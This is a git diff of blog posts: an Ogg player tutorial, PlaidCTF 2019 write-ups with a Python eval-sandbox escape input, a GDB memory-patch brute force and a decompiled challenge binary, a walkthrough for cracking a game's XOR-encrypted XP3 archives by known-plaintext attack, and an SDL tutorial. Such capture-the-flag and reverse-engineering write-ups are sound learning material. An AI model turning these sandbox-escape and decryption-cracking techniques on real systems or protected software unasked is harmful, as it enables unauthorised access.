simplicity. + +#+BEGIN_SRC c :hl_lines 0 +ao_sample_format format = {0}; +format.bits = 16; +format.channels = 2; +format.rate = 44100; +format.byte_format = AO_FMT_LITTLE; +#+END_SRC + +We'll use this format structure to open an audio device with the default sound +driver we figured out earlier. + +#+BEGIN_SRC c :hl_lines 0 +ao_device *device = ao_open_live(default_driver, &format, NULL); +if (device == NULL) { + fprintf(stderr, "Error opening device\n"); + return 1; +} +#+END_SRC + +And now, we'll get our PCM buffer. Some audio libraries have a routine to give +you a a buffer, but libao is alright with us using pretty much anything, so +we'll allocate it with =malloc(3)=. At this point, maybe you're wondering why we +use a buffer. While we /could/ read and play one byte at a time, that can be +very inefficient. It's better to read it into a buffer, and then play that +buffer. You don't want it to be too large, though, as there will be a longer +pause every time the buffer has to be read into. You also don't want it to be +too small. I find that 256 is good enough, but you can tweak that to your needs. +The size should be a power of two. + +#+BEGIN_SRC c :hl_lines 0 +char *buf = malloc(BUF_SIZE); +if (buf == NULL) { + fprintf(stderr, "Error allocating PCM buffer.\n"); + return 1; +} +#+END_SRC + +Now, we'll initialize libvorbisfile, which is done by opening the file we want +to play. This huge switch statement isn't necessary, it's just there to show all +the possible status codes of =ov_fopen=. Checking for a status code of 0 would +be just fine here. + +#+BEGIN_SRC c :hl_lines 0 +OggVorbis_File vf; +switch (ov_fopen(argv[1], &vf)) { +case OV_EREAD: + fprintf(stderr, "Couldn't open %s.\n", argv[1]); + return 1; + +case OV_ENOTVORBIS: + fprintf(stderr, "File contains no vorbis data.\n"); + return 1; + +case OV_EVERSION: + fprintf(stderr, "Vorbis version mismatch.\n"); + return 1; + +case OV_EBADHEADER: + fprintf(stderr, "File contains a bad bitstream header.\n"); + return 1; + +case OV_EFAULT: + fprintf(stderr, "Failure induced by heap/stack corruption.\n"); + return 1; +} +#+END_SRC + +The real meat and potatoes of the program comes next. A loop that continually +reads data into our PCM buffer and plays it, until there's no more data to +play. + +#+BEGIN_SRC c :hl_lines 0 +int read, bitstream; +do { + read = ov_read(&vf, buf, BUF_SIZE, 0, 2, 1, &bitstream); + ao_play(device, buf, BUF_SIZE); +} while (read > 0); +#+END_SRC + +The random integer constants in the call to =ov_read= might be a bit +intimidating, but it's really nothing to worry about. The first parameter is +whether or not the PCM buffer is big endian (which it is not, so we pass 0), the +second is the sample size, where 2 represents 16-bit, and the third is whether +or not the data is signed. You can read more about it in [[https://xiph.org/vorbis/doc/vorbisfile/ov_read.html][the documentation]]. + +Hopefully, things are starting to click around now. Any sound that comes out of +your speakers is just a bunch of numbers, and file formats like Ogg and MP3 are +just a means of compressing those numbers. + +And finally, we'll finish up with some cleanup. + +#+BEGIN_SRC c :hl_lines 0 +free(buf); +ov_clear(&vf); +ao_close(device); +ao_shutdown(); +return 0; +#+END_SRC + +Compilation is pretty easy, too. + +#+BEGIN_SRC +$ gcc -o oggplay oggplay.c -lvorbisfile -lao +#+END_SRC + +Pretty painless, right? Without error handling, this is about 21 lines of code. + +Go ahead, try it out! If you don't save your music as Ogg Vorbis, you can +convert songs with ffmpeg: + +#+BEGIN_SRC +$ ffmpeg -i [file] -c:a libvorbis song.ogg +#+END_SRC + +Here are some exercises if you want to play with this more: +- Get the frequency from the file being played, rather than hardcoding it at + 44.1 kHz. Check out the [[https://xiph.org/vorbis/doc/vorbisfile/reference.html][file Information section of the documentation]]. +- Add a status line showing the current timestamp. +- Watch [[https://www.youtube.com/watch?v=pFgui9uGmr4][this talk from SIGINT13]]. +- Play two sounds at once by adding their PCM values. Keep in mind that 8-bit + and 16-bit integers overflow quite easily. +- Learn the library for another audio codec/container, like libopenmpt for + classic tracker music. +- If you're feeling particularly up to a challenge, try rewriting the player + using just libvorbis and libogg, rather than libvorbisfile. diff --git a/posts/PlaidCTF 2019 Writeups/plaidctf-2019.org b/posts/PlaidCTF 2019 Writeups/plaidctf-2019.org new file mode 100644 index 0000000..6818718 --- /dev/null +++ b/posts/PlaidCTF 2019 Writeups/plaidctf-2019.org @@ -0,0 +1,456 @@ +#+TITLE: Writeups for PlaidCTF 2019 +#+DATE: <2019-04-14 Sun> +#+TAGS: writeup, security, reverse-engineering, capture-the-flag, x86, c, python + +My long-lived hiatus from capture-the-flag has come to an end, as I got off my +ass this weekend to play in PlaidCTF 2019. Being a one-man team is pretty +lonely, but my old team wasn't playing, and even if they were, I don't know if I +would've wanted to make the commute just to play with them. + +The team name I came up with was ~0x7c_Jake~ since I've been listening to a lot of +[[https://en.wikipedia.org/wiki/Less_Than_Jake][Less than Jake]] recently and =0x7c= is =jl= in x86. With any luck, though, I won't be +playing under that team name again -- I'm going to reach out to the ACM chapter +at my university and ask about starting a team associated with the school.[fn:1] + +But I'd imagine that you don't care much for that. You're here for my challenge +solutions, aren't you? + +* can you guess me (100 pts) + +This was a pretty simple Python sandbox escape challenge. The constraint was +that your input could have a maximum of 10 unique characters. + +#+BEGIN_SRC python :hl_lines 0 +count_digits = len(set(inp)) +if count_digits <= 10: # Make sure it is a number + val = eval(inp) +else: + raise +#+END_SRC + +So if you were thinking of sending off =print(secret_value_for_password)=, you're +out of luck. + +#+BEGIN_SRC python :hl_lines 0 +f = lambda x: (len(set(x)) <= 10, len(set(x))) +f("secret_value_for_password") # >>> (False, 15) +#+END_SRC + +This was the challenge I poked at for warm up, and in about fifteen minutes I +had what I believe is an unintended solution. + +#+BEGIN_SRC prog + ____ __ __ ____ __ __ + / ___|__ _ _ _\ \ / /__ _ _ / ___|_ _ ___ ___ ___| \/ | ___ +| | / _` | '_ \ V / _ \| | | | | _| | | |/ _ \/ __/ __| |\/| |/ _ \ +| |__| (_| | | | | | (_) | |_| | |_| | |_| | __/\__ \__ \ | | | __/ + \____\__,_|_| |_|_|\___/ \__,_|\____|\__,_|\___||___/___/_| |_|\___| + + + +Input value: help(flag) +No Python documentation found for 'PCTF{hmm_so_you_were_Able_2_g0lf_it_down?_Here_have_a_flag}'. +Use help() to get the interactive help utility. +Use help(str) for help on the str class. + +Nope. Better luck next time. +#+END_SRC + +* i can count (50 pts) + +The premise of this challenge is that there's some integer encoded as an ASCII +string. It's continually incremented by one and then checked against a +=check_flag=[fn:2] function. The flag is just whatever integer satisfies =check_flag=. + +You certainly _could_ have reverse engineered =check_flag= and plugged all of its +constraints into z3, but the function is 1394 bytes long. An easier solution is +to realize that the constraints are checked for each digit of the integer, open +the program in a debugger, set some breakpoints at various points in =check_flag=, +and brute-force the value digit-by-digit. + +This would've been a nice opportunity to use r2pipe or GDB's Python APIs, but I +started this challenge close enough to the end of the competition that doing it +by hand in GDB was the best course of action. I broke at =check_flag+0x31= so I +could see what the individual digit being checked was, as well as at +=check_flag+0x532= so I could see if the function was jumping to a =ret= -- which +would indicate that the digit doesn't satisfy the constraints. Every time I came +across a correct digit, I'd add a bogus '/' to the end of the integer string +with =set *((char *)0x56555000+0x3048) = 0x2f=[fn:3] so that =check_flag= started +checking the following digit, rather than incrementing the integer and ruining +everything. Again, the return key on my keyboard would have appreciated it if I +scripted my solution, but it worked and I was able to get the flag of +"PCTF{2052419606511006177}". + +* big_maffs (250 pts) + +I found this challenge to be really difficult, and at the time of writing this, +my solution is still running. I began by reverse engineering the binary to its +equivalent C. + +#+BEGIN_SRC c :hl_lines 0 +#include +#include +#include +#include + +struct string { + uint64_t length; + char *data; +}; + +static char peanut[] = { + 0x05, 0xbb, 0x01, 0x59, 0x6f, 0x06, 0x18, 0x61, 0x3d, 0xa0, + 0x3a, 0xe4, 0x9c, 0xe4, 0xe1, 0xe6, 0x73, 0x93, 0x81, 0xf2, + 0x10, 0x6b +}; + +static char banana[] = { + 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, + 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, +}; + +static struct string *global_4090; + + +// 0x00001189 1 26 eom_error +void eom_error(void) +{ + puts("no more memory? https://downloadmoreram.com/"); + exit(1); +} + +// 0x000011a3 3 51 my_malloc +void *my_malloc(int size) +{ + char *ret; + if ((ret = malloc(size)) == NULL) { + eom_error(); + } + return ret; +} + +// 0x000011d6 3 62 my_realloc +void *my_realloc(char *data, int length) +{ + char *res; + + // STACK SIZE 0x20 + if ((res = realloc(data, length)) == NULL) { + eom_error(); + } + + return res; +} + +// 0x00001214 1 97 make_string +struct string *make_string(char *data, int n) +{ + struct string *ret; + + // STACK SIZE 0x20 + ret = my_malloc(sizeof(struct string)); + ret->data = my_malloc(n); + memcpy(ret->data, data, n); + ret->length = n; + + return ret; +} + +// 0x00001695 7 72 all_null? +int all_null(struct string *s) +{ + int null_count; + + null_count = 0; + while (null_count < s->length) { + if (s->data[null_count] == '\0') { + null_count++; + } else { + return 0; + } + } + + return 1; +} + +// 0x000016dd 8 146 ends_with_digit? +int ends_with_digit(struct string *s) +{ + int i; + + // STACK SIZE 0x18 + if (all_null(s)) { + return 0; + } + + i = s->length - 1; + + while (i >= 0) { + if (s->data[i] == '\0') { + i--; + } else { + // True for c > 64, as well as the following cases: + // - c == 1 + // - 4 <= c <= 7 + // - 16 <= c <= 31 + return (s->data[i] & 0xaa) > (s->data[i] & 0x55); + } + } + + return 0; +} + +// 0x00001275 1 70 resize_string_by_one +void resize_string_by_one(struct string *s) +{ + // STACK SIZE 0x10 + s->length++; + s->data = my_realloc(s->data, s->length); +} + +// 0x000012bb 21 492 strum +void strum(struct string *a, struct string *b) +{ + int onion; + int brisket; + int cheese; + char donut; + char syrup; + char carrot; + char melon; + char butter; + + // STACK SIZE 0x30 + + butter = '\0'; + cheese = 0; + + // 0x13c3 + while (cheese < b->length) { + melon = '\0'; + brisket = 0; + + while (brisket < 8) { + syrup = butter \ + + ((a->data[cheese] >> brisket) & 1) \ + + ((b->data[cheese] >> brisket) & 1); + + if (banana[syrup + 2] != '\0') { + melon |= 1 << brisket; + } + + butter = banana[syrup + 8]; + brisket++; + } + + if (a->length == cheese) { + resize_string_by_one(a); + } + + a->data[cheese] = melon; + cheese++; + } + + while (butter != '\0') { + if (cheese >= a->length) { + resize_string_by_one(a); + } + + carrot = '\0'; + onion = 0; + + while (onion < 8) { + donut = butter + ((a->data[cheese] >> onion) & 1); + + if (banana[donut + 2] != '\0') { + carrot |= 1 << onion; + } + + butter = banana[donut + 8]; + onion++; + } + + a->data[cheese] = carrot; + cheese++; + } +} + +// This function is extremely similar to strum, but with 'subl %eax, %esi; movl +// %esi, %eax' at 0x00001335 instead of 'addl %esi, %eax'. +void bake(struct string *a, struct string *b) +{ + int onion; + int brisket; + int cheese; + char donut; + char syrup; + char carrot; + char melon; + char butter; + + // STACK SIZE 0x30 + + butter = '\0'; + cheese = 0; + + // 0x13c3 + + while (cheese < b->length) { + melon = '\0'; + brisket = 0; + + while (brisket < 8) { + syrup = butter \ + + ((a->data[cheese] >> brisket) & 1) \ + - ((b->data[cheese] >> brisket) & 1); + + if (banana[syrup + 2] != '\0') { + melon |= 1 << brisket; + } + + butter = banana[syrup + 8]; + brisket++; + } + + if (a->length == cheese) { + resize_string_by_one(a); + } + + a->data[cheese] = melon; + cheese++; + } + + while (butter != '\0') { + if (cheese >= a->length) { + resize_string_by_one(a); + } + + carrot = '\0'; + onion = 0; + + while (onion < 8) { + donut = butter + ((a->data[cheese] >> onion) & 1); + + if (banana[donut + 2] != '\0') { + carrot |= 1 << onion; + } + + butter = banana[donut + 8]; + onion++; + } + + a->data[cheese] = carrot; + cheese++; + } +} + +struct string *gaze(struct string *a, struct string *b) +{ + struct string *local_8; + struct string *local_10; + struct string *local_18; + struct string *local_20; + struct string *local_28; + + // STACK SIZE 0x40 + + if (all_null(a)) { + local_28 = make_string("\x00", 1); + strum(local_28, b); + strum(local_28, global_4090); + return local_28; + } + + if (all_null(b)) { + local_20 = make_string("\x00", 1); + strum(local_20, a); + bake(local_20, global_4090); + return gaze(local_20, global_4090); + } + + local_18 = make_string("\x00", 1); + strum(local_18, b); + bake(local_18, global_4090); + + local_10 = gaze(a, local_18); + + local_8 = make_string("\x00", 1); + strum(local_8, a); + bake(local_8, global_4090); + + return gaze(local_8, local_10); +} + +void fcn_176f(struct string *a, struct string *b) +{ + // STACK SIZE 0x10 + while (!ends_with_digit(a)) { + bake(a, b); + } + strum(a, b); +} + +// 0x00001935 4 230 main +int main(int argc, char **argv) +{ + struct string *local_8; + struct string *local_10; + struct string *local_18; + int local_1c; + + // STACK SIZE 0x20 + global_4090 = make_string("\x01", 1); + + puts("Generating your flag, please wait warmly..."); + + local_18 = make_string("\x1e", 1); + local_10 = gaze(local_18, local_18); + + local_8 = make_string((void *) 0x206e, 0x17); + fcn_176f(local_10, local_8); + + local_1c = 0; + + while (local_1c <= 0x15) { + peanut[local_1c] ^= local_10->data[local_1c]; + local_1c++; + } + + printf("Your flag is: %s\n", peanut); + return 0; +} +#+END_SRC + +TL;DR: among other things, there's a function called =gaze=[fn:4] that recursively +generates an XOR decryption key for =peanut=. + +I took this be an "optimize me" challenge. My current solution memoizes the +results of =gaze= into a linked list to reduce the number of recursive +computations made. In retrospect, I probably should've used a binary search tree +or a hash table instead of a linked list, but I was trying to quickly hack +together a solution. Also in retrospect, I probably should spent my time +figuring out what =strum= and =bake= _really_ do and reversing the calculation rather +than trying my hand at optimizing it. Ah, well. + +One neat thing I found out about from working on this challenge was the +=MALLOC_CHECK_= environment variable recognized by glibc. If it's set to =0=, heap +corruption errors are silently ignored. My solution needed it, and I'm unsure of +whether the heap corruption is in my translation of the original binary, or if +it was in my memoization code. Either way, I have a feeling it will make itself +useful again in the near future. + +--- + +Addendum: As it turns out, memoization was a wildly sophomoric attempt at a +solution, and the real solution was, as I mentioned, to figure out the purposes +of =strum= and =bake=. It turns out that =strum= is base (-2) addition, =bake= is base +(-2) subtraction, =gaze= is the Ackermann function, and that the structure is +actually a [[https://en.wikipedia.org/wiki/Arbitrary-precision_arithmetic][bignum]], not a string. In this case, that poor assumption led me down +a wrong path. Once you figure that out, you'll need to put your modular +arithmetic chops to work as well. An excellent writeup from sasdf of [[https://balsn.tw/][Balsn]] is +available [[https://sasdf.cf/ctf/writeup/2019/plaid/rev/bigmaffs/][here]]. + +[fn:1] So if you currently study at UMass Amherst and you'd be interested in joining a CTF team, [[http://jakob.space/about/][shoot me an email!]] +[fn:2] The executable wasn't stripped. +[fn:3] Where =0x56555000= is the address that the binary was loaded to in memory, and =0x3048= is the beginning of the ASCII-encoded integer (plus an offset for whichever digit I was on) +[fn:4] This time the binary _was_ stripped. I didn't bother updating the temporary names I used. Yes, I use foods for variables and random verbs for functions. diff --git a/posts/Reverse Engineering Babby's First Archive Format/basic-parsing.png b/posts/Reverse Engineering Babby's First Archive Format/basic-parsing.png new file mode 100644 index 0000000..0513350 Binary files /dev/null and b/posts/Reverse Engineering Babby's First Archive Format/basic-parsing.png differ diff --git a/posts/Reverse Engineering Babby's First Archive Format/binary-dump.png b/posts/Reverse Engineering Babby's First Archive Format/binary-dump.png new file mode 100644 index 0000000..0a8774c Binary files /dev/null and b/posts/Reverse Engineering Babby's First Archive Format/binary-dump.png differ diff --git a/posts/Reverse Engineering Babby's First Archive Format/catching-file-reads.png b/posts/Reverse Engineering Babby's First Archive Format/catching-file-reads.png new file mode 100644 index 0000000..2ce8f62 Binary files /dev/null and b/posts/Reverse Engineering Babby's First Archive Format/catching-file-reads.png differ diff --git a/posts/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org b/posts/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org new file mode 100644 index 0000000..0b6c58a --- /dev/null +++ b/posts/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org @@ -0,0 +1,120 @@ +#+TITLE: Reverse Engineering Babby's First Archive Format +#+DATE: <2017-03-02 Thu> +#+TAGS: writeup, programming, reverse-engineering, video-games, x86, c, python +#+HAUNT_BASE_DIR: ../../haunt/ + +About two months have passed since the first release of Nekopack - a tool I +wrote for extracting game data from Nekopara's XP3 archives. While the process +wasn't an amazing reverse-engineering war story that will keep you on the edge +of your seat, I feel it deserves a small blog post explaining how I did it. +Additionally, there's no real documentation on the XP3 format as far as I'm +aware, so hopefully this post will serve as an informal specification. + +The first step I took was to see if anyone else had tried to reverse it. Even +something as simple as a writeup would have made my goal significantly more +attainable. The closest thing I was able to find was [[https://github.com/vn-tools/arc_unpacker][Arc Unpacker]], a tool +capable of extracting several archive formats, including XP3. However, +attempting to use it brought to my attention the fact that Nekopara's archives +are encrypted. Further searching yielded nothing of interest, so it seemed that +the solution was to write a tool of my own. I chose to write it from scratch, as +I couldn't predict how complex the encryption algorithm would be. + +Writing a tool to work with an archive format, however, requires a very thorough +understanding of how it's structured. Instinctively, I fired up my favorite hex +editor and went at it, with the [[https://github.com/vn-tools/arc_unpacker/blob/master/src/dec/kirikiri/xp3_archive_decoder.cc][source code of Arc]] open to figure out most of +it. + +#+CAPTION: A hex dump of the XP3 header. +[[./xp3-header.png]] + +The first section of the archive is the header. It begins with an 11-byte +"magic number," used by whatever program is opening it as a sanity check. It's +followed by a 64-bit offset which, for XP3 version 2, points to a few adjacent +values. First, an 8-bit integer that I've been told acts as a flags variable, +followed by a 64-bit integer representing the table's size, and finally another +64-bit integer containing an offset to the beginning of the table section. The +flags variable, to my knowledge, should have the 0x80 bit set; it's a constant +defined in the code of the KiriKiriZ engine that I presume marks compatibility +with the game engine. Byte 0x13 is a 32-bit unsigned integer representing the +version, where a value of 1 represents version 2 of the archive. + +The header can be represented as the following C struct. + +#+BEGIN_SRC c :hl_lines 0 +struct header { + char magic[11]; + uint64_t info_offset; + uint32_t version; + uint64_t table_size; + uint8_t flags; + uint64_t table_offset; +}; +#+END_SRC + +Seeking to the table, we find that it starts with some metadata. First, an +8-bit unsigned integer representing whether or not the contents of the archive +are compressed. That's followed by a 64-bit unsigned integer representing the +compressed size of the table, and another 64-bit unsigned integer representing +the decompressed size. The table's contents are compressed using LZ77 and +Huffman Coding, so let's use zlib! I proceeded to inflate the archive contents +according to the header and dumped it so that I could view it in my hex editor. + +#+CAPTION: Sections in the hexdump of the decompressed payload with the corresponding constants in the Arc source code. +[[./binary-dump.png]] + +Every entry has a header containing a 32-bit magic number (underlined in red), +followed by a 64-bit unsigned integer representing the size of the entry. It's a +very simple format to parse. This very first entry, =0x656c6946=, is an =eliF= +entry. It contains a UTF-16LE encoded filename and a "key", which is used to +associate the =eliF= entry with its corresponding =File= entry. That key is also +used when decrypting the file, but we'll get into that later on. + +The next visible chunk is a =File= entry. There's a lot in it, so it's broken up +into several parts: =info=, =segm=, =adlr=, and =time=" The =adlr= chunk is +pretty small and contains only the key, used to match the =File= entry to an +=eliF= entry. The =time= chunk is also pretty small, containing a UNIX timestamp +for the file creation date. What's a little more interesting are the two +remaining chunks. =segm= has offsets to the beginning of the file, and it can +actually contain several "segments." The =file= chunks specified in =segm= are +also compressed with LZ77 and Huffman Coding. =info= contains a flags variable, +a compressed and decompressed size, and what seems to be an MD5 hash of the +file. + +#+CAPTION: A screenshot of my terminal, showing the output of a bare-bones parser for the format. +[[./basic-parsing.png]] + +Now we run into the problem of the files' contents being encrypted. I began by +getting a debugger setup going to reverse engineer the binary. x64dbg isn't my +usual choice, especially not with Intel syntax, but it was the first thing I +was really able to get working. Of course, using the debugger alone is a little +primitive. We have other tools to make reverse engineering easier. + +#+CAPTION: A screenshot of procmon alongside x32dbg, logging Windows syscalls that read files. +[[./catching-file-reads.png]] + +Enter procmon. It's reminiscent of strace, but it's meant for Windows and has a +nice stack trace feature which helps us to locate the code that decrypts the +archive. This is the point where I got stuck, having to deal with threads. It +was mostly "guns blazing" debugging. I stepped through the code mindlessly for a +few days, until one night before going to bed when I decided to take another +look online for whether or not someone had cracked it yet. Then I found +[[https://bitbucket.org/SmilingWolf/xp3tools-updated][something interesting]]. + +It felt a little too easy, but I already wrote the unpacking part - so I wrote +code to decrypt buffers and copied the encryption keys into my code. Encryption +is symmetric and extremely simple, just single-key xor. A base key is first +derived by xoring the game's master key with the file key I mentioned earlier. +Then a one-byte key is derived from that key by xoring each byte. For some +games the least significant byte of the base key is used to encrypt the first +byte of the file. The game has default values to fall back to if either of +those keys are too simple. + +Since the script I found only had the keys for volumes 1 and 0, I decided to +try to get the key for volume 2 on my own. But now that I know the encryption +algorithm used, I can break it without having to disassemble the game. + +It's pretty simple. Most binary files have a "magic number" associated with +them, which allows us to perform a known-plaintext attack. Pair that with the +fact that the first byte of each file is encrypted with the least-significant +byte of the base key, and you've got yourself a cracking process simple enough +to do in [[https://github.com/TsarFox/nekopack/blob/master/other/find_key.py][about 100 lines of python]]. diff --git a/posts/Reverse Engineering Babby's First Archive Format/xp3-header.png b/posts/Reverse Engineering Babby's First Archive Format/xp3-header.png new file mode 100644 index 0000000..0fac996 Binary files /dev/null and b/posts/Reverse Engineering Babby's First Archive Format/xp3-header.png differ diff --git a/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png b/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png new file mode 100644 index 0000000..4e9a146 Binary files /dev/null and b/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png differ diff --git a/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org b/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org new file mode 100644 index 0000000..78142b5 --- /dev/null +++ b/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org @@ -0,0 +1,317 @@ +#+TITLE: SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering +#+DATE: <2016-09-14 Sun> +#+TAGS: tutorial, programming, game-development, c +#+HAUNT_BASE_DIR: ../../haunt/ + +This is one of my older tutorials and follows a style unlike my current one. I +also no longer hold the same claims I made about the SDL documentation that I +originally made in this article. I think it's perfectly fine, you just need to +spend some time looking around because it's not organized like other +documentation is. For that reason, I have no plans to continue this tutorial +series unless someone specifically asks for me to continue it. + +SDL2 is my favorite graphics library right now. It might not be as powerful as +something like raw OpenGL, but it's simple. Simple enough that you can just +pick it up and start using it. There's a glaring issue with it, though. The +documentation is horrible. Absolutely horrible. A lot of it is unfinished, and +it doesn't look like it's getting attention any time soon. The SDL1.2 +documentation wasn't as bad, but that version of the library is vastly outdated +by today's standards. So here's my take on a tutorial for SDL - part 0x00 of a +I-don't-know-how-long-I'm-going-to-drag-this-on series. My examples are going +to be written in C, because the constructs I show here can still be used +verbatim in C++ (and probably SDL's other language bindings as well). This +tutorial will be covering the little boilerplate that SDL requires, as well as +the basics of windowing and rendering. Let's get into it. + +The first thing you have to worry about is installing and setting up SDL2.0. I +won't cover it in detail because it's something you should be able to figure out +yourself. If your operating system doesn't provide a means of package +management, you should be able to find a download on the [[https://libsdl.org/][official website]]. + +You should also figure out how to link SDL2 when you're compiling, nothing I +teach here will work if it isn't properly linked. If you're having trouble with +anything, fire up your favorite search engine or feel free to [[http://tsar-fox.com/][contact me]]. + +Alright, assuming you've successfully installed SDL, let's get to actually +programming. As with any C library, the first thing you should worry about is +including the header files. While SDL provides header files for specific +subsystems, we're not going to worry about that right now. There's a header +file that contains everything and we're going to use that for right now. + +#+BEGIN_SRC c :hl_lines 0 +#include +#+END_SRC + +Depending on how header files are organized on your system, you may have to use +this instead: + +#+BEGIN_SRC c :hl_lines 0 +#include +#+END_SRC + +That will give us function prototypes and type definitions for everything in +the SDL library, but we have to initialize SDL before we can really do anything +with it. This is actually really simple, done with a single function call. + +#+BEGIN_SRC c :hl_lines 0 +SDL_Init(SDL_INIT_VIDEO); +#+END_SRC + +=SDL_Init= takes a flag as a parameter so it knows which subsystems to +initialize. /A/ parameter. One, not several. This might be a bit confusing to +some, especially if you're not familiar with bitwise arithmetic, but +=SDL_INIT_VIDEO= is nothing more than a preprocessor macro representing some +number. =SDL_Init= interprets that number, and initializes the subsystems +associated with it. We don't write the number out in our code, though (or at +least you shouldn't). We use the macros, but there aren't macros for every +combination of subsystems you can come up with. Does this mean that SDL can only +initialize one subsystem at a time? Not at all, to combine macros and represent +multiple subsystems, you would hook them together with the [[https://en.wikipedia.org/wiki/Bitwise_operation#OR][bitwise OR operator]]. +(=|=, not =||=). For example, if we wanted to initialize SDL's video AND audio +subsystems, we would do this + +#+BEGIN_SRC c :hl_lines 0 +SDL_Init(SDL_INIT_VIDEO | SDL_INIT_AUDIO); +#+END_SRC + +But we're not going to be working with audio just yet. + +=SDL_Init= also returns an integer value, and it's pretty important. If it's +zero, SDL was initialized properly. Great! But if SDL can't be initialized for +some reason, it will return a negative number. This is where another SDL +function comes into the picture. =SDL_GetError= takes no arguments, but will +return a string literal explaining what went wrong. So if we wanted to do some +error checking (which you always should), we could do this: + +#+BEGIN_SRC c :hl_lines 0 +if (SDL_Init(SDL_INIT_VIDEO)) { + fprintf(stderr, "Here's the error: %s\n", + SDL_GetError()); + return 1; +} +#+END_SRC + +You can pretty much do anything here to handle the error. I'm using =fprintf(3)= +for simplicity, but SDL provides more advanced logging features which I'll cover +in a later tutorial. + +In SDL, you need to be responsible and clean up after yourself. For every +function that initializes or creates something, there is a complementary +function that deinitializes or destroys it. The function to counter =SDL_Init= +is =SDL_Quit=. It takes no parameters and returns nothing, you can just call it +and be done with it. With that covered, we've learned SDL's few lines of +boilerplate code. Much more appealing than something like Direct3D, eh? If you +compile and run the program right now, nothing interesting will happen. It +initialized and deinitialized SDL (unless something went wrong), but didn't +bother creating windows or doing anything because we didn't tell it to. Let's +change that. We first have to know about two important typedefs in SDL. +*SDL_Window, and SDL_Renderer.* =SDL_Window= is self-explanatory, it's a struct +representing a window, and =SDL_Renderer= is how you would put something into a +window. Renderers in SDL are capable of hardware acceleration and vertical-sync, +which is why SDL2 is awesome and SDL1.2 is left in the dust. These are just +structs, though, they don't do anything by themselves. Let's create a window, +and capture it in a =SDL_Window= struct: + +#+BEGIN_SRC c :hl_lines 0 +SDL_Window *my_cool_window = SDL_CreateWindow("A Cool Window", + SDL_WINDOWPOS_UNDEFINED, + SDL_WINDOWPOS_UNDEFINED, + 400, 400, SDL_WINDOW_SHOWN); +#+END_SRC + +Whoa, that's a mouthful, but it isn't as complicated as it looks. The first +argument is just a title for the window; you can name it whatever you want. The +next two arguments are X and Y values for where the window should be placed on +the screen. People usually don't care about this; you can use +=SDL_WINDOWPOS_UNDEFINED= if you don't. After that are the window's width and +height. I'm choosing to make my window 400 by 400 pixels, but you can choose +whatever size works best for your program. There are ways to change it later on, +too. Finally, we get to a flag. Its usage is similar to the flag we used with +=SDL_Init=, you use a bitwise OR to combine flags. We're not doing anything +fancy just yet, though, so =SDL_WINDOW_SHOWN= on its own will suffice. It +ensures that the window will be visible, rather than minimized. + +As you can hopefully tell from the example code above, =SDL_CreateWindow= +returns a pointer of type =SDL_Window=. If a window cannot be created, though, +it will return =NULL=. You should always do error checking, so throw something +in to see if =my_cool_window= (or whatever you named your window variable) is +=NULL=. + +#+BEGIN_SRC c :hl_lines 0 +if (!my_cool_window) { + fprintf(stderr, "Window couldn't be created. %s\n", + SDL_GetError()); + return 1; +} +#+END_SRC + +There's =SDL_GetError= again! He's our friend and you should be using him every +time you do error checking. + +Remember how I said that SDL has a complementary function to destroy anything +that is created? This is no exception. =SDL_DestroyWindow= is very similar to +=SDL_Quit=, but it takes a =SDL_Window= pointer as an argument. + +#+BEGIN_SRC c :hl_lines 0 +SDL_DestroyWindow(my_cool_window); +#+END_SRC + +It's sad to see him go, but we're done so we need to free the resources. At this +point, you can compile and run the C source file. It still kinda sucks, though. +When you run it, the window pops up and immediately goes away. One useful +function is =SDL_Delay=. It might seem mundane now, but it will become quite +important when we need to cap our program's framerate. It takes a number of +milliseconds as a parameter and temporarily stops your program so that SDL and +your computer can take a short break. Alright. So when we put that in our code +(after the window creation but before the window destruction), compile, and run +it, we get this: + +#+CAPTION: A screenshot of the window on my system. +[[./window.png]] + +I'm running i3wm, so it will probably look slightly different for you, but +we've finally got a window! It still sucks, though. It doesn't do anything, +it doesn't even clear itself! Let's make it white and learn a little bit +about renderers in SDL. + +If we want to do stuff within a window, we have two options. One is to create an +=SDL_Surface= from the window and draw to the surface, which is the sucky legacy +way of doing it so we're going to pretend that I didn't mention it, or you can +create a =SDL_Renderer=, which we're going to do because it's so much more +capable. We're going to use another SDL function call to create a renderer, and +we'll capture it in a =SDL_Renderer= pointer: + +#+BEGIN_SRC c :hl_lines 0 +SDL_Renderer *my_cool_renderer; +SDL_CreateRenderer(my_cool_window, -1, + SDL_RENDERER_ACCELERATED); +if (!my_cool_renderer) { + fprintf(stderr, "There was an error %s\n", + SDL_GetError()); +} +#+END_SRC + +Alright, so clearly the first argument is the window we want to create a +renderer for. The second is more complicated. It's the index of the driver to +initialize, which you probably don't care too much about so you can just put -1 +in there to have it use the first one that's available. The last is a flag, +which you probably know so much about by now. Finally, as you can imagine, +=SDL_CreateRenderer= returns =NULL= if a renderer cannot be created. This should +all seem pretty familiar, it's the same format as creating a window - create a +struct pointer to capture it, use a function call to create it, and do some +basic error checking. Dead simple, and it just gets better from here. + +Once again, don't forget to clean up after yourself. The function to remove a +renderer when you're done with it is =SDL_DestroyRenderer=. It just takes a +=SDL_Renderer= pointer as an argument. + +Now we've got a renderer, but if we compile and run our code - the effect is +the same because we haven't used it for anything. So let's change that and +learn a little bit about drawing in SDL. + +Renderers in SDL have a color associated with them, which they use when drawing +primitive geometry like lines and quadrilaterals. It doesn't affect textures, +but you'll probably end up using primitive geometry at some point so it's good +to know. =SDL_SetRenderDrawColor= changes the aforementioned color. We're +actually not going to be drawing any primitive geometry in this tutorial, but +I'm bringing this up because the renderer will use its associated color when +clearing the screen. So more about the function - it takes a renderer as an +argument, followed by red, green, 